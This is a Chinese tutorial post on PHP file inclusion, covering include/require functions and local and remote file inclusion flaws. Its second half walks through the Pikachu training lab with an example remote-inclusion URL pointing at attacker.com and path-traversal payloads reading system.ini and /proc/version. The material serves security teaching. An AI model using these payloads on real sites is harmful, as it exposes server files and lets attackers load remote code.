文件包罗
文件包罗是一种较为常见技术,允许程序员在不同的脚本或程序中重用代码或调用文件
主要作用和用途:
- 代码重用:通过将通用函数或代码段放入单独的文件中,可以在多个脚本中包罗这些文件,避免重复编写相同代码。
- 模块化设计:文件包罗支持模块化编程,有助于将大型应用程序分解为更小、更易于管理的模块。
- 功能分离:将不同的功能实现分离到不同的文件中,使得代码结构更加清晰,便于维护和更新。
文件包罗简单示例
使用include函数,在代码中引用html头部和尾部标签,实现网页的编写
- index.php
- <?php
- // 包含头部文件
- include "header.php";
- // 页面的主要内容
- echo "<h1>欢迎来到首页</h1>";
- echo "<p>这是一个示例页面。</p>";
- // 包含尾部文件
- include "footer.php";
- ?>
复制代码 html头部文件
- header.php
- <!DOCTYPE html>
- <html>
- <head>
- <title>示例页面</title>
- <meta charset="UTF-8">
- <script src="script.js"></script>
- </head>
- <body>
复制代码 html尾部文件
- footer.php
- </body>
- </html>
复制代码 PHP常见的文件包罗函数
函数用法介绍主要用途include()include 'filename.php';包罗并实行指定文件。如果文件不存在,将产生警告,但脚本会继续实行。用于包罗那些可能会重复使用的代码文件,如配置文件、库文件等。require()require 'filename.php';包罗并实行指定文件。如果文件不存在,将产生错误,脚本会终止实行。用于包罗那些对脚本至关紧张的文件,如初始化脚本。include_once()include_once 'filename.php';如果文件已经被包罗,则不会再次包罗。实行结果与include()相同。用于包罗那些在整个脚本实行过程中只需要包罗一次的文件。require_once()require_once 'filename.php';如果文件已经被包罗,则不会再次包罗。实行结果与require()相同。用于确保关键文件在整个脚本实行过程中只被加载一次。require_all()*require_all 'directory/';不尺度:递归包罗指定目次下的所有PHP文件。具体实现可能因情况而异。 文件包罗漏洞
原理
当网站引入了代码或程序,且并没有对来源举行严格的校验时,就可能产生文件包罗漏洞
漏洞类型
1.当地文件包罗:网站包罗当地服务器文件
危害:敏感文件泄漏
url示例:http://example.com/page.php?file=info.php
2.远程文件包罗:网站包罗远程服务器文件
危害:引用外部木马文件,服务器窃取
url示例:http://example.com/page.php?file=http://attacker.com/remote.php
攻击流程
<1.探求可能存在该漏洞的网站,如url中携带[file,file=http,FileName]等参数的网站
<2.更改文件引用路径,尝试读取当地文件,或引用外部服务器文件
<3.尝试使用伪协议实行下令,或查找文件
漏洞实例
当地文件包罗[pikachu_file_inclusion_local]源码讲解
源码解读
- if(isset($_GET['submit']) && $_GET['filename']!=null){
- $filename=$_GET['filename'];
- include "include/$filename";
- }
复制代码 1.判定前端通报参数,中是否存在submit参数,并且filename参数值为非空
<1 使用isset函数查抄变量是否存在且非空
<2 使用比力运算符 != 判定参数filename的值不为空
<3 使用 逻辑与 && 将上述两个条件表达式举行拼接
<4 条件表达式同为真(true),实行if内的代码块
2.创建变量filename接收前端参数filename的值
<1 创建变量filename接收前端filename的值
3.将其拼接进include路径下,并使用include举行包罗
<1 将获取到的变量名拼接入,当前路径下的include文件夹路径下
<2 PHP表明器在实行include语句时,解析字符串中的变量,并用变量的值举行替换
<3 如果文件存在,会举行读取并显示
攻击流程
1.探求攻击点
- fi_local.php?filename=file2.php&submit=%E6%8F%90%E4%BA%A4
复制代码
更改不同选项提交,参数filename的值随打开不同的文件,举行切换
2.更改携带参数观察页面状态
此处显示报错,并回显得出信息。
<1>windows体系
<2> 网站目次:F:\php-study\WWW\pikachu\pikachu\vul\fileinclude\fi_local.php
3.读取体系文件,并在无报错回显情况下,查询信息
原理:(../)可以查询上级目次下内容,且如果多个连用时可以忽视目次层级举行文件查询
windows体系配置文件:../../../../../windows/system.ini
linux内核信息文件:../../../../../../../../../../../../proc/version
#如果没显示,尝试多写几层
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |